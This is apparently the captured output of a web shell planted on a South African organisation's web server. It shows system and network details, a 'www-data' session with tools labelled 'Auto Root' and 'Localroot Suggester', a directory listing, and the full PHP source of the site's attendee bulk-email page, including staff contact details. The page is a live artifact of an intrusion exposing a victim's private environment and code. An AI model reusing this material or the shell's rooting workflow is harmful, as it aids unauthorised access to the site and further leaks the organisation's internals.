Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
php /
templates /
school /
Delete
Unzip
Name
Size
Permission
Date
Action
CertificateEmailOneAddress.php
8.08
KB
-rw-r--r--
2026-08-24 10:15
SchoolAttendeeBookingForm.php
369
B
-rw-r--r--
2026-04-02 12:19
SchoolAttendeeBookingFormSend.php
544
B
-rw-r--r--
2026-04-02 12:19
SchoolAttendeeBulkEmail.php
19.04
KB
-rw-r--r--
2026-08-24 10:15
SchoolAttendeeFixCase.php
552
B
-rw-r--r--
2026-04-02 12:19
SchoolEventCourseCancelledEmail.php
9.62
KB
-rw-r--r--
2026-08-24 10:15
SchoolEventCoursePostponedEmail.php
13.36
KB
-rw-r--r--
2026-08-24 10:15
SchoolEventInsufficientDelegatesEmail.php
9.05
KB
-rw-r--r--
2026-08-24 10:15
SchoolWeeksCoursesDashboard.php
8.98
KB
-rw-r--r--
2026-08-24 10:15
php_errors.log
966
B
-rw-r--r--
2026-08-21 08:08
Save
Rename
<?php // ini_set('display_errors', 1); // ini_set('display_startup_errors', 1); // error_reporting(E_ALL); session_start(); ob_start(); // Load PHPMaker core stack before echasl23 header/menu rendering. if (!function_exists('IsLoggedIn')) { include_once($_SERVER['DOCUMENT_ROOT'] . '/echasl23/ewcfg7.php'); include_once($_SERVER['DOCUMENT_ROOT'] . '/php/includes/require_ewmysql.php'); cesa_require_ewmysql($_SERVER['DOCUMENT_ROOT'] . '/echasl23/ewmysql7.php'); include_once($_SERVER['DOCUMENT_ROOT'] . '/echasl23/phpfn7.php'); include_once($_SERVER['DOCUMENT_ROOT'] . '/echasl23/userfn7.php'); } include_once($_SERVER['DOCUMENT_ROOT'] . '/cfg/config.php'); include_once($_SERVER['DOCUMENT_ROOT'] . '/php/includes/sqlFunctions.php'); include_once($_SERVER['DOCUMENT_ROOT'] . '/php/includes/SchoolAttendeeBulkMailerService.php'); if (defined('EW_SESSION_STATUS') && (!isset($_SESSION[EW_SESSION_STATUS]) || $_SESSION[EW_SESSION_STATUS] !== 'login')) { header('Location: /echasl23/login.php'); exit; } $eventId = isset($_REQUEST['EventID']) ? intval($_REQUEST['EventID']) : 0; $focusAttendeeId = isset($_REQUEST['AttendeeID']) ? intval($_REQUEST['AttendeeID']) : 0; $focusMode = isset($_REQUEST['focus']) ? preg_replace('/[^a-z0-9_]/', '', strtolower((string) $_REQUEST['focus'])) : ''; $paidLinkFocus = ($focusMode === 'paid_link' || $focusAttendeeId > 0); $service = new SchoolAttendeeBulkMailerService($sqlf, $sqlfMail); $data = $service->getEventWithAttendees($eventId); $event = $data['event']; $attendees = $data['attendees']; $errorMessage = ''; $successMessage = ''; $defaultSendMode = $paidLinkFocus ? 'selected' : 'all'; $sendMode = isset($_POST['send_mode']) ? trim((string) $_POST['send_mode']) : $defaultSendMode; $testOnly = !empty($_POST['test_only']); $testEmail = isset($_POST['test_email']) ? trim((string) $_POST['test_email']) : ''; $bccAddresses = isset($_POST['bcc_addresses']) ? trim((string) $_POST['bcc_addresses']) : ''; $onlineCourseLink = isset($_POST['online_course_link']) ? trim((string) $_POST['online_course_link']) : (is_array($event) && isset($event['OnlineCourseLink']) ? trim((string) $event['OnlineCourseLink']) : ''); $defaultPaidTemplate = "Dear *KnownAs* *ContactLastName*,\n\n" . "Thank you for registering for the *CourseName*, taking place on *StartDate* - *EndDate* from *StartTime* - *EndTime*.\n\n" . "We are pleased to confirm your attendance.\n\n" . "Please use the link below to join the course:\n\n" . "*OnlineCourseLink*\n\n" . "We recommend joining a few minutes early to ensure everything is set up smoothly.\n\n" . "If you have any questions or require assistance, feel free to reach out to me either on +27 (0)11 463 2022, 081 458 4190 or melissa@cesa.co.za.\n\n" . "We look forward to your participation.\n\n" . "With kind regards\n\n\n" . "Melissa Jardine\n" . "melissa@cesa.co.za\n" . "School of Consulting Engineering (SCE)\n" . "+27 11 463 2022 / 081 458 4190"; $defaultUnpaidTemplate = "Dear *KnownAs* *ContactLastName*,\n\n" . "Thank you for your interest in the *CourseName*, taking place on *StartDate* - *EndDate*.\n\n" . "Currently, we are unable to confirm your registration, as we have not yet received your payment. " . "Please note that we cannot provide you with the course joining link until payment has been completed.\n\n" . "Once we receive your payment, we will promptly confirm your registration and send you the link to access the online course.\n\n" . "If you have already made the payment, kindly send proof of payment to melissa@cesa.co.za, so we update your registration status.\n\n" . "We appreciate your understanding and look forward to welcoming you once payment is finalised.\n\n" . "If you have any questions or require assistance, feel free to reach out to me either on +27 (0)11 463 2022, 081 458 4190 or melissa@cesa.co.za.\n\n" . "With kind regards\n\n\n" . "Melissa Jardine\n" . "melissa@cesa.co.za\n" . "School of Consulting Engineering (SCE)\n" . "+27 11 463 2022 / 081 458 4190"; $defaultSubject = ''; if ($paidLinkFocus) { $defaultSubject = SchoolAttendeeBulkMailerService::getPaidLinkFocusSubject(); $defaultPaidTemplate = SchoolAttendeeBulkMailerService::getPaidLinkFocusTemplate(); } $subject = isset($_POST['subject']) ? trim((string) $_POST['subject']) : $defaultSubject; $sendPaidLinkAttendeeIds = isset($_POST['send_paid_link_attendee_ids']) && is_array($_POST['send_paid_link_attendee_ids']) ? array_map('intval', $_POST['send_paid_link_attendee_ids']) : array(); $sendPaidLinkAttendeeMap = array(); foreach ($sendPaidLinkAttendeeIds as $oneId) { if ($oneId > 0) { $sendPaidLinkAttendeeMap[$oneId] = true; } } $selectedAttendeeIds = isset($_POST['attendee_ids']) && is_array($_POST['attendee_ids']) ? array_map('intval', $_POST['attendee_ids']) : array(); $selectedAttendeeMap = array(); foreach ($selectedAttendeeIds as $oneId) { if ($oneId > 0) { $selectedAttendeeMap[$oneId] = true; } } if ($_SERVER['REQUEST_METHOD'] !== 'POST' && $focusAttendeeId > 0) { $selectedAttendeeMap[$focusAttendeeId] = true; $sendPaidLinkAttendeeMap[$focusAttendeeId] = true; } $template = isset($_POST['template']) ? (string) $_POST['template'] : $defaultPaidTemplate; $unpaidTemplate = isset($_POST['unpaid_template']) ? (string) $_POST['unpaid_template'] : $defaultUnpaidTemplate; $focusAttendeeLabel = ''; if ($focusAttendeeId > 0 && is_array($attendees)) { foreach ($attendees as $oneAttendee) { if (intval($oneAttendee['AttendeeID']) === $focusAttendeeId) { $focusAttendeeLabel = trim((string) $oneAttendee['ContactFirstName'] . ' ' . (string) $oneAttendee['ContactLastName']); break; } } } if ($_SERVER['REQUEST_METHOD'] === 'POST') { try { $result = $service->queueEventAttendeeMail(array( 'event_id' => $eventId, 'subject' => $subject, 'template' => $template, 'unpaid_template' => $unpaidTemplate, 'online_course_link' => $onlineCourseLink, 'send_mode' => $sendMode, 'selected_attendee_ids' => isset($_POST['attendee_ids']) && is_array($_POST['attendee_ids']) ? $_POST['attendee_ids'] : array(), 'update_event_link' => isset($_POST['confirm_update_event_link']) && $_POST['confirm_update_event_link'] === '1', 'test_only' => $testOnly ? 1 : 0, 'test_email' => $testEmail, 'bcc_addresses' => $bccAddresses, 'send_paid_link_attendee_ids' => $sendPaidLinkAttendeeIds, )); if (!empty($result['test_only']) && !empty($result['message_ids']) && count($result['message_ids']) > 1) { $successMessage = 'Queued ' . intval($result['queued_count']) . ' test messages into mail system (MessageIDs: ' . implode(', ', array_map('intval', $result['message_ids'])) . ' — paid and unpaid templates).'; } else { $successMessage = 'Queued ' . intval($result['queued_count']) . ' messages into mail system (MessageID: ' . intval($result['message_id']) . ').'; } } catch (Exception $ex) { $errorMessage = $ex->getMessage(); } } ?> <?php include $_SERVER['DOCUMENT_ROOT'] . '/echasl23/header.php'; ?> <h1><?php echo $paidLinkFocus ? 'Send Paid Event Link' : 'SCE Attendee Bulk E-mail'; ?></h1> <?php if ($eventId <= 0 || !is_array($event) || count($event) <= 0) { ?> <div class="alert alert-danger">Invalid EventID.</div> <p><a class="btn btn-default" href="javascript:history.back();">Back</a></p> <?php } else { ?> <?php if ($paidLinkFocus) { ?> <div class="alert alert-info"> Payment has been captured<?php echo $focusAttendeeLabel !== '' ? ' for <b>' . htmlspecialchars($focusAttendeeLabel) . '</b>' : ''; ?>. Review the paid event-link message below and queue it so the attendee can access the course. </div> <?php } ?> <?php if ($errorMessage !== '') { ?> <div class="alert alert-danger"><?php echo htmlspecialchars($errorMessage); ?></div> <?php } ?> <?php if ($successMessage !== '') { ?> <div class="alert alert-success"><?php echo htmlspecialchars($successMessage); ?></div> <?php } ?> <div class="panel panel-default"> <div class="panel-heading"><b>Event</b></div> <div class="panel-body"> <p><b><?php echo htmlspecialchars((string) $event['EventName']); ?></b></p> <p> Current `OnlineCourseLink`: <?php echo htmlspecialchars((string) (isset($event['OnlineCourseLink']) ? $event['OnlineCourseLink'] : '')); ?> </p> </div> </div> <form method="post"> <input type="hidden" name="EventID" value="<?php echo intval($eventId); ?>"> <?php if ($focusAttendeeId > 0) { ?> <input type="hidden" name="AttendeeID" value="<?php echo intval($focusAttendeeId); ?>"> <input type="hidden" name="focus" value="paid_link"> <?php } ?> <div class="panel panel-default"> <div class="panel-heading"><b>Send Options</b></div> <div class="panel-body"> <div class="radio"> <label><input type="radio" name="send_mode" value="all" <?php echo $sendMode === 'all' ? 'checked' : ''; ?>> All attendees</label> </div> <div class="radio"> <label><input type="radio" name="send_mode" value="selected" <?php echo $sendMode === 'selected' ? 'checked' : ''; ?>> Selected attendees only</label> </div> <hr /> <div class="checkbox"> <label> <input type="checkbox" name="test_only" value="1" <?php echo $testOnly ? 'checked' : ''; ?>> Test-only (do not send to attendees) </label> <p class="help-block"> When enabled, the system queues <b>two</b> emails to the test address: one using the <b>Paid</b> template and one using the <b>Unpaid</b> template. No attendee emails are queued and any BCC list is ignored. </p> </div> <div class="form-group"> <label>Test e-mail address</label> <input class="form-control" type="text" name="test_email" value="<?php echo htmlspecialchars($testEmail); ?>" placeholder="test@example.com"> </div> <div class="form-group"> <label>BCC e-mail addresses</label> <input class="form-control" type="text" name="bcc_addresses" value="<?php echo htmlspecialchars($bccAddresses); ?>" placeholder="a@example.com, b@example.com"> <p class="help-block"> Optional. Comma/semicolon/space separated. Applied to attendee sends only (not test-only). </p> </div> </div> </div> <div class="panel panel-default"> <div class="panel-heading"><b>Message Content</b></div> <div class="panel-body"> <div class="form-group"> <label>Subject</label> <input class="form-control" type="text" name="subject" value="<?php echo htmlspecialchars($subject); ?>" placeholder="Subject"> </div> <div class="form-group"> <label>Online Course Link</label> <input class="form-control" type="text" name="online_course_link" id="online_course_link" value="<?php echo htmlspecialchars($onlineCourseLink); ?>"> </div> <div class="checkbox"> <label> <input type="checkbox" name="confirm_update_event_link" value="1"> Confirm: update this value on the event `OnlineCourseLink` as well </label> </div> <div class="form-group"> <label>Paid Attendee Message Template</label> <textarea class="form-control" name="template" rows="10"><?php echo htmlspecialchars($template); ?></textarea> </div> <div class="form-group"> <label>Unpaid Attendee Message Template</label> <textarea class="form-control" name="unpaid_template" rows="10"><?php echo htmlspecialchars($unpaidTemplate); ?></textarea> </div> <p class="help-block"> Placeholders: <code>*FirstName*</code>, <code>*LastName*</code>, <code>*FullName*</code>, <code>*KnownAs*</code>, <code>*ContactLastName*</code>, <code>*CourseName*</code>, <code>*EventName*</code>, <code>*StartDate*</code>, <code>*EndDate*</code>, <code>*StartTime*</code>, <code>*EndTime*</code>, <code>*OnlineCourseLink*</code> </p> </div> </div> <div class="panel panel-default"> <div class="panel-heading"><b>Attendees</b></div> <div class="panel-body" style="max-height: 420px; overflow: auto;"> <p> <button type="button" class="btn btn-default btn-xs" onclick="toggleAll(true)">Select all</button> <button type="button" class="btn btn-default btn-xs" onclick="toggleAll(false)">Clear all</button> <button type="button" class="btn btn-default btn-xs" onclick="togglePaidLinkAll(true)">Paid link: all unpaid</button> <button type="button" class="btn btn-default btn-xs" onclick="togglePaidLinkAll(false)">Paid link: clear</button> </p> <p class="help-block"> For each <b>unpaid</b> attendee, tick <b>Paid link</b> to send the paid course-link message instead of the unpaid template (e.g. when payment was taken outside SCE or after attendance). </p> <table class="table table-bordered table-striped"> <thead> <tr> <th style="width: 40px;">Use</th> <th style="width: 70px;">Paid link</th> <th>Name</th> <th>Company name</th> <th>Company type</th> <th>Phone number</th> <th>E-mail</th> <th>Status</th> </tr> </thead> <tbody> <?php foreach ($attendees as $attendee) { ?> <?php $attendeeId = intval($attendee['AttendeeID']); $email = trim((string) $attendee['EmailAddress']); $cancelled = intval($attendee['Cancelled']) > 0; $isPaid = isset($attendee['IsPaid']) && intval($attendee['IsPaid']) === 1; $emailOk = ($email !== '' && stripos($email, 'no e-mail') !== 0); $disabled = (!$emailOk || $cancelled) ? 'disabled' : ''; $useChecked = isset($selectedAttendeeMap[$attendeeId]); $paidLinkChecked = isset($sendPaidLinkAttendeeMap[$attendeeId]); $companyName = trim((string) ($attendee['CompanyName'] ?? '')); $companyType = trim((string) ($attendee['CompanyType'] ?? '')); $phoneNumber = trim((string) ($attendee['PhoneNumber'] ?? '')); $rowHighlight = ($focusAttendeeId > 0 && $attendeeId === $focusAttendeeId) ? ' style="background:#fff8e1;"' : ''; ?> <tr<?php echo $rowHighlight; ?>> <td> <input type="checkbox" class="attendee-check" name="attendee_ids[]" value="<?php echo $attendeeId; ?>" <?php echo $disabled; ?> <?php echo ($useChecked && $disabled === '') ? 'checked' : ''; ?>> </td> <td class="text-center"> <?php if ($cancelled || !$emailOk || $isPaid) { ?> <span class="text-muted">—</span> <?php } else { ?> <input type="checkbox" class="paid-link-check" name="send_paid_link_attendee_ids[]" value="<?php echo $attendeeId; ?>" <?php echo $paidLinkChecked ? 'checked' : ''; ?>> <?php } ?> </td> <td><?php echo htmlspecialchars(trim((string) $attendee['ContactFirstName'] . ' ' . (string) $attendee['ContactLastName'])); ?></td> <td><?php echo htmlspecialchars($companyName); ?></td> <td><?php echo htmlspecialchars($companyType); ?></td> <td><?php echo htmlspecialchars($phoneNumber); ?></td> <td><?php echo htmlspecialchars($email); ?></td> <td> <?php if ($cancelled) { echo 'Cancelled'; } elseif (!$emailOk) { echo 'Invalid/missing e-mail'; } else { echo 'Ready (' . ($isPaid ? 'Paid' : 'Unpaid') . ')'; } ?> </td> </tr> <?php } ?> </tbody> </table> </div> </div> <button type="submit" class="btn btn-primary"><?php echo $paidLinkFocus ? 'Queue paid event-link e-mail' : 'Queue messages in mail system'; ?></button> <a class="btn btn-default" href="/echasl23/SchoolAttendeeslist.php?showmaster=SchoolEvents&EventID=<?php echo intval($eventId); ?>">Back to attendees</a> <?php if ($paidLinkFocus && $eventId > 0) { ?> <a class="btn btn-default" href="/echasl23/SchoolPaymentslist.php?showmaster=SchoolEvents&EventID=<?php echo intval($eventId); ?>">Back to payments</a> <?php } ?> </form> <script> function toggleAll(state) { var checks = document.querySelectorAll('.attendee-check'); for (var i = 0; i < checks.length; i++) { if (!checks[i].disabled) { checks[i].checked = state; } } } function togglePaidLinkAll(state) { var checks = document.querySelectorAll('.paid-link-check'); for (var i = 0; i < checks.length; i++) { checks[i].checked = state; } } </script> <?php } ?> <?php include $_SERVER['DOCUMENT_ROOT'] . '/echasl23/footer.php'; ?>